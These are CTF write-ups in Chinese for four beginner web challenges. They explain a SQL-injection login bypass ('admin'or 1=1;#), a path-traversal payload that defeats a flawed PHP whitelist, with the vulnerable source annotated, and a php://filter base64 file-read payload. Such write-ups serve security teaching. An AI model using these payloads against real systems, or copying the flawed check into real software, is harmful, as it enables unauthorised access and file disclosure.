[极客大挑战 2019]EasySQL1
思路:直接输入万能密码 admin’or 1=1;# 得到flag
万能密码运作原理:
一些普通的系统在进行账号密码查询操作时,会执行以下sql 语句
select * from users where username=’admin’and password=’123456’;
当输入万能密码时sql语句变成了这样
select * from users where username=’admin’or 1=1;# ‘and password=’123456’;
也就相当于
select * from users where username=’admin’or 1=1;
由于这个系统select判断账号密码的机制为:
select 查询结果返回真就能通过登录,反之亦然,例如:
# 执行查询
cursor.execute("SELECT * FROM users WHERE username = ?", ('admin',))
result = cursor.fetchall()
# 判断返回
if result:
print("查询返回为 true,用户存在。")
else:
print("查询返回为 false,用户不存在。")
那么(select * from users where usersname=’admin’)or 1=1;这个永真式返回的永远是true,所以可以直接登录。
[极客大挑战 2019]Havefun1
f12查看前端代码,发现源码
get传参?cat=dog即可
[HCTF 2018]WarmUp1
开局根据f12前端提示到source.php,看到源码
代码大概意思为:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {
/*
函数isset()判断参数是否为null
*/
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
/*
in_array($page,$whitelist)查看$page是否在$whitelist数组里面,也就是查白名单
*/
return true;
}
$_page = mb_substr(
/*
mb_substr($page,0,mb_strpos(...))截取字符串,
如mb_substr($s,0,5),$s第一个参数$s为你要截取的字符串,第二个参数0为开始的位置,第三个参数5为结束位置,左闭右开,也就是你截了[0,4]的字符串
*/
$page,
0,
mb_strpos($page . '?', '?')
/*
mb_strpos($page.'?','?')得到字符串中第二个参数字符所出现的位置
如mb_strpos("aasaa",'s');返回的是2
*/
);
if (in_array($_page, $whitelist)) {//再次判断白名单
return true;
}
$_page = urldecode($page);//解码url编码,但对于已经解过码的字符串将维持原样
$_page = mb_substr(//与上一个,将?前的字符串截下来判断是否在白名单里头
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//参数$_REQUEST开始接受接受传参(post和get)都接受
if (! empty($_REQUEST['file'])//empty[]判空
&& is_string($_REQUEST['file'])//is_string判断字符串
&& emmm::checkFile($_REQUEST['file'])//利用emmm类里头的checkFile()函数判断
)
/*
开始php代码审计时候要先找接受网络传输参数的变量!!!如:$_GET[],$_POST[],$_REQUEST[]等
*/
{
include $_REQUEST['file'];//include()文件包含,处理文件,其中为何会处理hint.php?/../../../../../ffffllllaaaagggg这样诡异的payload下文会做详细解释
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//滑稽图片
}
?>
代码基本逻辑就是判断file里头第一个?前是否是source.php或hint.php,然后根据提示来到hint.php发现
因此我们可以构造payload: ?file=hint.php?/../ffffllllaaaagggg
发现不起作用
尝试遍历目录:?file=hint.php?/../../../../../ffffllllaaaagggg
得到flag:
include()能解释hint.php?/../../../../../ffffllllaaaagggg成../../../../ffffllllaaaagggg原因:因为当里头的参数虽然找不到文件时,include()也会把它当作是一个目录从而进入下一个目录(虽然他不存在),../表示返回上一级目录,由此组合就和原来的无异。例如:
<?php
include('php2.php');
include('这是个乱码/../php2.php');
?>
这两个include()函数执行效果是一样的
[ACTF2020 新生赛]Include1
开局进入网站有个tip连接点进去,发现url有个文件传参?file=flag.php
猜测是文件包含漏洞,尝试伪协议:
?file=php://filter/read/convert.base64-encode/resource=flag.php
得到文件全部内容的base64解码:
解码就是flag
php://filter/read/convert.base64-encode/resource=flag.php
这个是 php的伪协议,可以暂时看作相当于一个文件